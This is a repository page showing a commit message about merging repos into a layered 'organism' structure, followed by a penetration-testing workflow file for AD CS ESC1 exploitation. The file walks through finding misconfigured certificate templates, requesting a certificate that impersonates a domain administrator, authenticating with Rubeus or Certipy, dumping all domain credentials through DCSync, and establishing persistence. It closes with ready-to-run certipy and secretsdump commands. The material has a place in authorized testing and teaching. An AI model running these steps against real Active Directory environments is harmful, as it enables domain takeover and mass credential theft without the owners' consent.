Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

1.9 KiB

Workflows - AD CS ESC1 Exploitation

ESC1 Attack Chain Workflow

1. Enumeration
   ├── Identify CA servers: Certify.exe cas / certipy find
   ├── List certificate templates: Certify.exe find
   ├── Filter for vulnerable templates: /vulnerable flag
   └── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)

2. Certificate Request
   ├── Choose target principal (Domain Admin, Enterprise Admin)
   ├── Request certificate with target UPN in SAN field
   ├── CA processes request without approval (misconfigured)
   └── Save issued certificate (PFX/PEM)

3. Authentication
   ├── Convert certificate format if needed (PEM → PFX)
   ├── Use PKINIT to request TGT with forged certificate
   ├── Rubeus (Windows): asktgt /certificate:<pfx>
   ├── Certipy (Linux): auth -pfx <certificate>
   └── Obtain TGT or NT hash for target account

4. Privilege Escalation
   ├── Use obtained TGT/hash for privileged operations
   ├── DCSync: Dump all domain credentials
   ├── Access Domain Controller shares
   └── Establish persistence as needed

5. Documentation
   ├── Screenshot each step of the attack chain
   ├── Record CA name, template name, and SAN used
   ├── Document credentials obtained
   └── Provide remediation guidance

Certipy Full Attack Workflow (Linux)

# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable

# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
  -ca 'domain-CA' -target DC01.domain.local \
  -template VulnerableTemplate \
  -upn administrator@domain.local

# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1

# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash